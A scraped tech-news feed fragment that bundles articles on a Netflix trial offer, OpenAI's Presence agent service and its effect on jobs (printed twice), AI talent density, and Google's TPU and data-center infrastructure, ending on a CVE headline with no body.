<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a6214ef2b56d"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/image_742287.png?w=1200" alt="" class="wp-image-3197988" width="1200" height="562" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure></div>



<p><strong>Wichtig:</strong> Das Angebot gilt explizit nur für Neukunden, nicht für wiederkehrende Abonnenten. Allerdings ist es recht einfach, diesen Umstand zu umgehen, wenn Sie sich einfach mit einer anderen E-Mail-Adresse als zuvor registrieren. Dann haben Sie zwar keinen Zugriff auf Ihren alten Account inklusive persönlicher Daten, Listen und Streaming-Historie, doch das ist sicher zu verschmerzen.</p>



<p>Nach Ablauf des Probezeitraums müssen Sie sich für ein Abo entscheiden (oder vorher kündigen). Zur Wahl stehen<strong> Standard mit Werbung</strong> für 4,99 Euro monatlich, <strong>Standard</strong> ohne Werbung für 13,99 Euro monatlich oder <strong>Premium</strong> für 19,99 Euro monatlich.<a href="https://karrierewelt.golem.de/products/ldap-identitatsmanagement-fundamentals-virtueller-drei-tage-workshop"></a></p>



<p>Warum genau Netflix gerade jetzt ein Probe-Abo wieder einführt, ist nicht ganz klar. Vermutlich versucht der Anbieter aber, neue Abonnenten dazu zu gewinnen, nachdem die Zahlen zuletzt stagnierten. Zwar ist Netflix der größte Anbieter für Streaming, doch die Konkurrenz schläft nicht. Seit Januar 2026 gibt es beispielsweise auch <a href="https://www.pcwelt.de/article/1186579/hbo-max-in-deutschland-sehen-so-gehts.html" target="_blank" rel="noreferrer noopener">HBO Max in Deutschland</a>, das mit großen Namen wie<em> Game of Thrones, House of the Dragon, Harry Potter </em>oder <em>Superman </em>wirbt<em>.</em></p>



<p><a href="https://www.pcwelt.de/article/1158913/streaming-vergleich-netflix-prime-video-disney-co.html" target="_blank" rel="noreferrer noopener">Eine Übersicht aller wichtigen Streaming-Dienste finden Sie hier</a>, inklusive Preisen, Vorteilen und Nachteilen.</p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3689165/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689165/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3689164/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689164/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200684/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Thu, 23 Jul 2026 15:06:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild]]></title>
